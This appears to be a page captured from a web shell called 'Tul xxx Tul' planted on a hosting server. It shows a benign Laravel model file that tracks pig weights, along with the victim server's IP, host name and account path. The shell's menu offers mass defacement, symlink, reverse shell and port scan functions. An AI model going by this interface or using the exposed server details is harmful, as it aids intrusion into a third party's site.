Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Models
/
Viewing: ControlPeso.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; class ControlPeso extends Model { use HasFactory; protected $table = 'control_pesos'; protected $fillable = [ 'cerdo_id', 'fecha_pesaje', 'peso', 'etapa', 'observaciones', ]; protected $casts = [ 'fecha_pesaje' => 'date', ]; /** * Obtener el cerdo al que pertenece este registro de peso */ public function cerdo(): BelongsTo { return $this->belongsTo(Cerdo::class); } /** * Calcular la ganancia de peso desde el Ășltimo registro */ public function getGananciaPesoAttribute() { $anterior = ControlPeso::where('cerdo_id', $this->cerdo_id) ->where('fecha_pesaje', '<', $this->fecha_pesaje) ->orderBy('fecha_pesaje', 'desc') ->first(); if ($anterior) { return $this->peso - $anterior->peso; } return 0; } /** * Calcular la ganancia de peso diaria desde el Ășltimo registro */ public function getGananciaPesoDiariaAttribute() { $anterior = ControlPeso::where('cerdo_id', $this->cerdo_id) ->where('fecha_pesaje', '<', $this->fecha_pesaje) ->orderBy('fecha_pesaje', 'desc') ->first(); if ($anterior) { $dias = $anterior->fecha_pesaje->diffInDays($this->fecha_pesaje); if ($dias > 0) { return ($this->peso - $anterior->peso) / $dias; } } return 0; } }
Coded With 💗 by
0x6ick